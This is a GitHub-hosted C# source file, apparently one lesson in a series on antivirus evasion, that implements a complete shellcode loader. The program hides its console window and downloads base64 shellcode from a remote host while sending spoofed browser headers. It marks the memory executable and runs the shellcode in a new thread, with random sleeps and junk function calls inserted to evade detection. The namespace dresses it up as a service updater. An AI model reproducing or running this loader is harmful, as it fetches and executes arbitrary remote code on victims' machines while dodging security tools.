-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy path03_basic_evasion_time_delay_junk_code.cs
156 lines (129 loc) · 4.47 KB
/
03_basic_evasion_time_delay_junk_code.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;
namespace ServiceUpdate
{
class Update
{
[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(
IntPtr lpStartAddr,
UInt32 size,
UInt32 flAllocationType,
UInt32 flProtect
);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
UInt32 dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32.dll")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("user32.dll")]
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("kernel32.dll")]
private static extern IntPtr GetConsoleWindow();
[DllImport("kernel32.dll")]
private static extern bool VirtualProtect(
IntPtr lpAddress,
UInt32 dwSize,
UInt32 flNewProtect,
out UInt32 lpflOldProtect
);
const int SW_HIDE = 0;
static void Main()
{
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
string updateUrl = "http://super-legit-website.com/api/v2/service-pack-1.dat";
byte[] service;
using (WebClient client = new WebClient())
{
client.Headers.Add(
"User-Agent",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
);
client.Headers.Add("Accept", "application/octet-stream");
client.Headers.Add("Accept-Encoding", "gzip, deflate");
client.Headers.Add("Accept-Language", "en-US,en;q=0.9");
client.Headers.Add(
"Referer",
"https://www.contoso.com/support/downloads/latest-updates"
);
string updateBase64 = client.DownloadString(updateUrl);
service = Convert.FromBase64String(updateBase64);
}
RandomSleep();
ExecuteRandomFunction();
UInt32 MEM_COMMIT = 0x1000;
UInt32 PAGE_READWRITE = 0x04;
UInt32 PAGE_EXECUTE_READ = 0x20;
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(UInt32)service.Length,
MEM_COMMIT,
PAGE_READWRITE
);
RandomSleep();
ExecuteRandomFunction();
Marshal.Copy(service, 0, funcAddr, service.Length);
RandomSleep();
ExecuteRandomFunction();
UInt32 oldProtect;
VirtualProtect(funcAddr, (UInt32)service.Length, PAGE_EXECUTE_READ, out oldProtect);
RandomSleep();
ExecuteRandomFunction();
UInt32 threadId = 0;
IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
static void RandomSleep()
{
Random rnd = new Random();
int sleepInterval = rnd.Next(1000, 5000);
Thread.Sleep(sleepInterval);
}
static void ExecuteRandomFunction()
{
Random rnd = new Random();
int functionIndex = rnd.Next(1, 5);
switch (functionIndex)
{
case 1:
GetProcessId();
break;
case 2:
GetSystemTime();
break;
case 3:
GetTickCount();
break;
case 4:
GetEnvironmentVariable();
break;
}
}
static void GetProcessId()
{
int processId = Process.GetCurrentProcess().Id;
}
static void GetSystemTime()
{
DateTime systemTime = DateTime.Now;
}
static void GetTickCount()
{
int tickCount = Environment.TickCount;
}
static void GetEnvironmentVariable()
{
string userProfile = Environment.GetEnvironmentVariable("USERPROFILE");
}
}
}